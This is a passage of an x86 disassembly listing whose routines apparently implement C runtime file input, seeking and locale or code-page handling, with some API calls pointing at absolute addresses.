		mov	eax, off_433C70
		mov	al, [eax+esi*2]
		and	eax, 4


loc_41E1E5:				; CODE XREF: sub_41E1BC+18j
		test	eax, eax
		jnz	short loc_41E1EF
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_41E1EF:				; CODE XREF: sub_41E1BC+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_41E1BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E1F3	proc near		; CODE XREF: sub_41D797+1E1p
					; sub_41D797+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_41E205
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_41E205:				; CODE XREF: sub_41E1F3+7j
		push	edx
		call	sub_41E248
		pop	ecx
		retn
sub_41E1F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E20D	proc near		; CODE XREF: sub_41D797+6Bp
					; sub_41D797+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_41E223
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_420FAF
		pop	ecx
		pop	ecx

locret_41E223:				; CODE XREF: sub_41E20D+5j
		retn
sub_41E20D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E224	proc near		; CODE XREF: sub_41D797+63p
					; sub_41D797+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_41E22A:				; CODE XREF: sub_41E224+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_41E1F3
		mov	edi, eax
		push	edi
		call	sub_420F60
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41E22A
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_41E224	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E248	proc near		; CODE XREF: sub_418A86+A9p
					; sub_41900C+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41E31C
		test	al, 40h
		jnz	loc_41E31C
		test	al, 2
		jz	short loc_41E26E
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41E31C
; ---------------------------------------------------------------------------


loc_41E26E:				; CODE XREF: sub_41E248+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41E282
		push	esi
		call	sub_41F9D8
		pop	ecx
		jmp	short loc_41E287
; ---------------------------------------------------------------------------


loc_41E282:				; CODE XREF: sub_41E248+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41E287:				; CODE XREF: sub_41E248+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41E321
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41E30B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41E30B
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41E2E0
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41E2C9
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4CECE0[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41E2CE
; ---------------------------------------------------------------------------


loc_41E2C9:				; CODE XREF: sub_41E248+6Bj
		mov	edi, offset dword_4362F0


loc_41E2CE:				; CODE XREF: sub_41E248+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41E2E0
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41E2E0:				; CODE XREF: sub_41E248+62j
					; sub_41E248+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41E2FD
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41E2FD
		test	ch, 4
		jnz	short loc_41E2FD
		mov	dword ptr [esi+18h], 1000h


loc_41E2FD:				; CODE XREF: sub_41E248+9Fj
					; sub_41E248+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E30B:				; CODE XREF: sub_41E248+55j
					; sub_41E248+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41E31C:				; CODE XREF: sub_41E248+Aj
					; sub_41E248+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41E248	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E321	proc near		; CODE XREF: sub_418A86+90p
					; sub_41E248+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4CEDE0
		jnb	loc_41E4FE
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4CECE0h[eax*4]
		mov	eax, dword_4CECE0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41E4FE
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41E3D6
		test	dl, 2
		jnz	short loc_41E3D6
		test	dl, 48h
		jz	short loc_41E396
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41E396
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41E396:				; CODE XREF: sub_41E321+56j
					; sub_41E321+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	short loc_41E3E9
		call	near ptr 267036Ah
		nop
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41E3D1
		mov	dword_4CD9B4, 9
		mov	dword_4CD9B8, ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------


loc_41E3D1:				; CODE XREF: sub_41E321+99j
		cmp	eax, 6Dh
		jnz	short loc_41E3DD


loc_41E3D6:				; CODE XREF: sub_41E321+4Cj
					; sub_41E321+51j
		xor	eax, eax
		jmp	loc_41E512
; ---------------------------------------------------------------------------


loc_41E3DD:				; CODE XREF: sub_41E321+B3j
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	loc_41E50F
; ---------------------------------------------------------------------------


loc_41E3E9:				; CODE XREF: sub_41E321+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41E4F9
		test	edx, edx
		jz	short loc_41E40E
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41E40E
		or	al, 4
		jmp	short loc_41E410
; ---------------------------------------------------------------------------


loc_41E40E:				; CODE XREF: sub_41E321+E2j
					; sub_41E321+E7j
		and	al, 0FBh


loc_41E410:				; CODE XREF: sub_41E321+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41E4F3


loc_41E428:				; CODE XREF: sub_41E321+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41E4E3
		cmp	al, 0Dh
		jz	short loc_41E444
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E444:				; CODE XREF: sub_41E321+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41E462
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E459
		add	[ebp+arg_8], 2
		jmp	short loc_41E4B7
; ---------------------------------------------------------------------------


loc_41E459:				; CODE XREF: sub_41E321+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E462:				; CODE XREF: sub_41E321+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2650000h
		test	eax, eax
		jnz	short loc_41E48A
		nop
		call	near ptr 267036Ah
		test	eax, eax
		jnz	short loc_41E4D1


loc_41E48A:				; CODE XREF: sub_41E321+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41E4D1
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41E4AC
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41E4B7
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41E4D5
; ---------------------------------------------------------------------------


loc_41E4AC:				; CODE XREF: sub_41E321+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41E4BC
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41E4BC


loc_41E4B7:				; CODE XREF: sub_41E321+136j
					; sub_41E321+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41E4D4
; ---------------------------------------------------------------------------


loc_41E4BC:				; CODE XREF: sub_41E321+18Ej
					; sub_41E321+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_41E517
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41E4D5


loc_41E4D1:				; CODE XREF: sub_41E321+167j
					; sub_41E321+16Dj
		mov	byte ptr [edi],	0Dh


loc_41E4D4:				; CODE XREF: sub_41E321+199j
		inc	edi


loc_41E4D5:				; CODE XREF: sub_41E321+11Ej
					; sub_41E321+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41E428
		jmp	short loc_41E4F3
; ---------------------------------------------------------------------------


loc_41E4E3:				; CODE XREF: sub_41E321+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41E4F3
		or	al, 2
		mov	[esi], al


loc_41E4F3:				; CODE XREF: sub_41E321+101j
					; sub_41E321+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41E4F9:				; CODE XREF: sub_41E321+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41E512
; ---------------------------------------------------------------------------


loc_41E4FE:				; CODE XREF: sub_41E321+12j
					; sub_41E321+39j
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9


loc_41E50F:				; CODE XREF: sub_41E321+ABj
					; sub_41E321+C3j
		or	eax, 0FFFFFFFFh


loc_41E512:				; CODE XREF: sub_41E321+B7j
					; sub_41E321+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E321	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E517	proc near		; CODE XREF: sub_418D0E+67p
					; sub_419D23+CDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		push	ebx
		cmp	eax, dword_4CEDE0
		push	esi
		push	edi
		jnb	short loc_41E599
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:4CECE0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		test	byte ptr [ecx+esi+4], 1
		jz	short loc_41E599
		push	eax
		call	sub_41FE32
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E55B
		mov	dword_4CD9B4, 9
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------


loc_41E55B:				; CODE XREF: sub_41E517+36j
		push	[esp+0Ch+arg_8]
		push	0
		push	[esp+14h+arg_4]
		push	eax
		nop
		call	near ptr 26E109Ch
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41E57B
		call	near ptr 267036Ah
		nop
		jmp	short loc_41E57D
; ---------------------------------------------------------------------------


loc_41E57B:				; CODE XREF: sub_41E517+5Aj
		xor	eax, eax


loc_41E57D:				; CODE XREF: sub_41E517+62j
		test	eax, eax
		jz	short loc_41E58A
		push	eax
		call	sub_41EF44
		pop	ecx
		jmp	short loc_41E5AA
; ---------------------------------------------------------------------------


loc_41E58A:				; CODE XREF: sub_41E517+68j
		mov	eax, [edi]
		and	byte ptr [eax+esi+4], 0FDh
		lea	eax, [eax+esi+4]
		mov	eax, ebx
		jmp	short loc_41E5AD
; ---------------------------------------------------------------------------


loc_41E599:				; CODE XREF: sub_41E517+Dj
					; sub_41E517+2Aj
		and	dword_4CD9B8, 0
		mov	dword_4CD9B4, 9


loc_41E5AA:				; CODE XREF: sub_41E517+42j
					; sub_41E517+71j
		or	eax, 0FFFFFFFFh


loc_41E5AD:				; CODE XREF: sub_41E517+80j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E517	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E5B1	proc near		; CODE XREF: sub_418D0E+2Ap

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		mov	esi, [edi+10h]
		cmp	[edi+4], ebx
		mov	[ebp+var_C], esi
		jge	short loc_41E5CD
		mov	[edi+4], ebx


loc_41E5CD:				; CODE XREF: sub_41E5B1+17j
		push	1
		push	ebx
		push	esi
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jl	short loc_41E63B
		mov	edx, [edi+0Ch]
		test	dx, 108h
		jnz	short loc_41E5F2
		sub	eax, [edi+4]
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E5F2:				; CODE XREF: sub_41E5B1+37j
		mov	eax, [edi]
		mov	ecx, [edi+8]
		mov	ebx, eax
		sub	ebx, ecx
		test	dl, 3
		mov	[ebp+var_8], ebx
		jz	short loc_41E62C
		mov	edx, esi
		mov	ebx, esi
		sar	edx, 5
		and	ebx, 1Fh
		mov	edx, dword_4CECE0[edx*4]
		test	byte ptr [edx+ebx*8+4],	80h
		jz	short loc_41E643
		mov	edx, ecx


loc_41E61D:				; CODE XREF: sub_41E5B1+79j
		cmp	edx, eax
		jnb	short loc_41E643
		cmp	byte ptr [edx],	0Ah
		jnz	short loc_41E629
		inc	[ebp+var_8]


loc_41E629:				; CODE XREF: sub_41E5B1+73j
		inc	edx
		jmp	short loc_41E61D
; ---------------------------------------------------------------------------


loc_41E62C:				; CODE XREF: sub_41E5B1+50j
		test	dl, 80h
		jnz	short loc_41E643
		mov	dword_4CD9B4, 16h


loc_41E63B:				; CODE XREF: sub_41E5B1+2Dj
		or	eax, 0FFFFFFFFh
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E643:				; CODE XREF: sub_41E5B1+68j
					; sub_41E5B1+6Ej ...
		cmp	[ebp+var_4], 0
		jnz	short loc_41E651
		mov	eax, [ebp+var_8]
		jmp	loc_41E704
; ---------------------------------------------------------------------------


loc_41E651:				; CODE XREF: sub_41E5B1+96j
		test	byte ptr [edi+0Ch], 1
		jz	loc_41E6FC
		mov	edx, [edi+4]
		test	edx, edx
		jnz	short loc_41E66A
		and	[ebp+var_8], edx
		jmp	loc_41E6FC
; ---------------------------------------------------------------------------


loc_41E66A:				; CODE XREF: sub_41E5B1+AFj
		sub	eax, ecx
		add	eax, edx
		mov	[ebp+arg_0], eax
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4CECE0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 80h
		jz	short loc_41E6F6
		push	2
		push	0
		push	[ebp+var_C]
		call	sub_41E517
		add	esp, 0Ch
		cmp	eax, [ebp+var_4]
		jnz	short loc_41E6BD
		mov	eax, [edi+8]
		mov	ecx, [ebp+arg_0]
		add	ecx, eax


loc_41E6A8:				; CODE XREF: sub_41E5B1+104j
		cmp	eax, ecx
		jnb	short loc_41E6B7
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41E6B4
		inc	[ebp+arg_0]


loc_41E6B4:				; CODE XREF: sub_41E5B1+FEj
		inc	eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------


loc_41E6B7:				; CODE XREF: sub_41E5B1+F9j
		test	byte ptr [edi+0Dh], 20h
		jmp	short loc_41E6F1
; ---------------------------------------------------------------------------


loc_41E6BD:				; CODE XREF: sub_41E5B1+EDj
		push	0
		push	[ebp+var_4]
		push	[ebp+var_C]
		call	sub_41E517
		mov	eax, 200h
		add	esp, 0Ch
		cmp	[ebp+arg_0], eax
		ja	short loc_41E6E4
		mov	ecx, [edi+0Ch]
		test	cl, 8
		jz	short loc_41E6E4
		test	ch, 4
		jz	short loc_41E6E7


loc_41E6E4:				; CODE XREF: sub_41E5B1+124j
					; sub_41E5B1+12Cj
		mov	eax, [edi+18h]


loc_41E6E7:				; CODE XREF: sub_41E5B1+131j
		mov	[ebp+arg_0], eax
		mov	eax, [ebx]
		test	byte ptr [esi+eax+4], 4


loc_41E6F1:				; CODE XREF: sub_41E5B1+10Aj
		jz	short loc_41E6F6
		inc	[ebp+arg_0]


loc_41E6F6:				; CODE XREF: sub_41E5B1+D9j
					; sub_41E5B1:loc_41E6F1j
		mov	eax, [ebp+arg_0]
		sub	[ebp+var_4], eax


loc_41E6FC:				; CODE XREF: sub_41E5B1+A4j
					; sub_41E5B1+B4j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_4]
		add	eax, ecx


loc_41E704:				; CODE XREF: sub_41E5B1+3Cj
					; sub_41E5B1+8Dj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E5B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E709	proc near		; CODE XREF: sub_419063+47p
					; sub_419063+74p ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4248E0
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	edi, edi
		cmp	dword_4CDA60, edi
		jnz	short loc_41E77F
		push	edi
		push	edi
		push	1
		pop	ebx
		push	ebx
		push	offset dword_4248D8
		mov	esi, 100h
		push	esi
		push	edi
		call	near ptr 2880000h
		nop
		test	eax, eax
		jz	short loc_41E75D
		mov	dword_4CDA60, ebx
		jmp	short loc_41E77F
; ---------------------------------------------------------------------------


loc_41E75D:				; CODE XREF: sub_41E709+4Aj
		push	edi
		push	edi
		push	ebx
		push	offset dword_436EF4
		push	esi
		push	edi
		nop
		call	near ptr 2870000h
		test	eax, eax
		jz	loc_41E897
		mov	dword_4CDA60, 2


loc_41E77F:				; CODE XREF: sub_41E709+2Ej
					; sub_41E709+52j
		cmp	[ebp+arg_C], edi
		jle	short loc_41E794
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_422467
		pop	ecx
		pop	ecx
		mov	[ebp+arg_C], eax


loc_41E794:				; CODE XREF: sub_41E709+79j
		mov	eax, dword_4CDA60
		cmp	eax, 2
		jnz	short loc_41E7BB
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	near ptr 2870000h
		nop
		jmp	loc_41E899
; ---------------------------------------------------------------------------


loc_41E7BB:				; CODE XREF: sub_41E709+93j
		cmp	eax, 1
		jnz	loc_41E897
		cmp	[ebp+arg_18], edi
		jnz	short loc_41E7D1
		mov	eax, dword_4CDA58
		mov	[ebp+arg_18], eax


loc_41E7D1:				; CODE XREF: sub_41E709+BEj
		push	edi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_1C]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	[ebp+arg_18]
		nop
		call	near ptr 2640000h
		mov	ebx, eax
		mov	[ebp+var_1C], ebx
		cmp	ebx, edi
		jz	loc_41E897
		mov	[ebp+var_4], edi
		lea	eax, [ebx+ebx]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E82C
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		mov	[ebp+var_24], edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	ebx, [ebp+var_1C]


loc_41E82C:				; CODE XREF: sub_41E709+10Ej
		cmp	[ebp+var_24], edi
		jz	short loc_41E897
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	1
		push	[ebp+arg_18]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_41E897
		push	edi
		push	edi
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2880000h
		mov	esi, eax
		mov	[ebp+var_28], esi
		cmp	esi, edi
		jz	short loc_41E897
		test	byte ptr [ebp+arg_4+1],	4
		jz	short loc_41E8AB
		cmp	[ebp+arg_14], edi
		jz	loc_41E926
		cmp	esi, [ebp+arg_14]
		jg	short loc_41E897
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	ebx
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2880000h
		test	eax, eax
		jnz	loc_41E926


loc_41E897:				; CODE XREF: sub_41E709+66j
					; sub_41E709+B5j ...
		xor	eax, eax


loc_41E899:				; CODE XREF: sub_41E709+ADj
					; sub_41E709+21Fj
		lea	esp, [ebp-38h]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41E8AB:				; CODE XREF: sub_41E709+160j
		mov	[ebp+var_4], 1
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_417B30
		mov	[ebp+var_18], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41E8DF
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	edi, edi
		xor	ebx, ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_28]


loc_41E8DF:				; CODE XREF: sub_41E709+1C2j
		cmp	ebx, edi
		jz	short loc_41E897
		push	esi
		push	ebx
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		nop
		call	near ptr 2880000h
		test	eax, eax
		jz	short loc_41E897
		cmp	[ebp+arg_14], edi
		push	edi
		push	edi
		jnz	short loc_41E906
		push	edi
		push	edi
		jmp	short loc_41E90C
; ---------------------------------------------------------------------------


loc_41E906:				; CODE XREF: sub_41E709+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_41E90C:				; CODE XREF: sub_41E709+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		nop
		call	near ptr 27C0000h
		mov	esi, eax
		cmp	esi, edi
		jz	loc_41E897


loc_41E926:				; CODE XREF: sub_41E709+165j
					; sub_41E709+188j
		mov	eax, esi
		jmp	loc_41E899
sub_41E709	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E92D	proc near		; CODE XREF: sub_41ECF1+Bp

var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41EAC6
		mov	esi, eax
		pop	ecx
		cmp	esi, dword_4CEDE4
		mov	[ebp+arg_0], esi
		jz	loc_41EABA
		xor	ebx, ebx
		cmp	esi, ebx
		jz	loc_41EAB0
		xor	edx, edx
		mov	eax, offset dword_436010


loc_41E961:				; CODE XREF: sub_41E92D+41j
		cmp	[eax], esi
		jz	short loc_41E9D7
		add	eax, 30h
		inc	edx
		cmp	eax, offset dword_436100
		jl	short loc_41E961
		lea	eax, [ebp+var_18]
		push	eax
		push	esi
		nop
		call	near ptr 288121Dh
		cmp	eax, 1
		jnz	loc_41EAA8
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4CEF00
		cmp	[ebp+var_18], 1
		mov	dword_4CEDE4, esi
		rep stosd
		stosb
		mov	dword_4CF004, ebx
		jbe	loc_41EA96
		cmp	[ebp+var_12], 0
		jz	loc_41EA6C
		lea	ecx, [ebp+var_11]


loc_41E9B4:				; CODE XREF: sub_41E92D+139j
		mov	dl, [ecx]
		test	dl, dl
		jz	loc_41EA6C
		movzx	eax, byte ptr [ecx-1]
		movzx	edx, dl


loc_41E9C5:				; CODE XREF: sub_41E92D+A8j
		cmp	eax, edx
		ja	loc_41EA60
		or	byte_4CEF01[eax], 4
		inc	eax
		jmp	short loc_41E9C5
; ---------------------------------------------------------------------------


loc_41E9D7:				; CODE XREF: sub_41E92D+36j
		push	40h
		xor	eax, eax
		pop	ecx
		mov	edi, offset byte_4CEF00
		rep stosd
		lea	esi, [edx+edx*2]
		mov	[ebp+var_4], ebx
		shl	esi, 4
		stosb
		lea	ebx, dword_436020[esi]


loc_41E9F3:				; CODE XREF: sub_41E92D+103j
		cmp	byte ptr [ebx],	0
		mov	ecx, ebx
		jz	short loc_41EA26


loc_41E9FA:				; CODE XREF: sub_41E92D+F7j
		mov	dl, [ecx+1]
		test	dl, dl
		jz	short loc_41EA26
		movzx	eax, byte ptr [ecx]
		movzx	edi, dl
		cmp	eax, edi
		ja	short loc_41EA1F
		mov	edx, [ebp+var_4]
		mov	dl, byte_436008[edx]


loc_41EA14:				; CODE XREF: sub_41E92D+F0j
		or	byte_4CEF01[eax], dl
		inc	eax
		cmp	eax, edi
		jbe	short loc_41EA14


loc_41EA1F:				; CODE XREF: sub_41E92D+DCj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx],	0
		jnz	short loc_41E9FA


loc_41EA26:				; CODE XREF: sub_41E92D+CBj
					; sub_41E92D+D2j
		inc	[ebp+var_4]
		add	ebx, 8
		cmp	[ebp+var_4], 4
		jb	short loc_41E9F3
		mov	eax, [ebp+arg_0]
		mov	dword_4CEDFC, 1
		push	eax
		mov	dword_4CEDE4, eax
		call	sub_41EB10
		lea	esi, dword_436014[esi]
		mov	edi, offset dword_4CEDF0
		movsd
		movsd
		pop	ecx
		mov	dword_4CF004, eax
		movsd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EA60:				; CODE XREF: sub_41E92D+9Aj
		inc	ecx
		inc	ecx
		cmp	byte ptr [ecx-1], 0
		jnz	loc_41E9B4


loc_41EA6C:				; CODE XREF: sub_41E92D+7Ej
					; sub_41E92D+8Bj
		push	1
		pop	eax


loc_41EA6F:				; CODE XREF: sub_41E92D+14Fj
		or	byte_4CEF01[eax], 8
		inc	eax
		cmp	eax, 0FFh
		jb	short loc_41EA6F
		push	esi
		call	sub_41EB10
		pop	ecx
		mov	dword_4CF004, eax
		mov	dword_4CEDFC, 1
		jmp	short loc_41EA9C
; ---------------------------------------------------------------------------


loc_41EA96:				; CODE XREF: sub_41E92D+74j
		mov	dword_4CEDFC, ebx


loc_41EA9C:				; CODE XREF: sub_41E92D+167j
		xor	eax, eax
		mov	edi, offset dword_4CEDF0
		stosd
		stosd
		stosd
		jmp	short loc_41EAB5
; ---------------------------------------------------------------------------


loc_41EAA8:				; CODE XREF: sub_41E92D+51j
		cmp	dword_4CDA64, ebx
		jz	short loc_41EABE


loc_41EAB0:				; CODE XREF: sub_41E92D+27j
		call	sub_41EB43


loc_41EAB5:				; CODE XREF: sub_41E92D+131j
					; sub_41E92D+179j
		call	sub_41EB6C


loc_41EABA:				; CODE XREF: sub_41E92D+1Dj
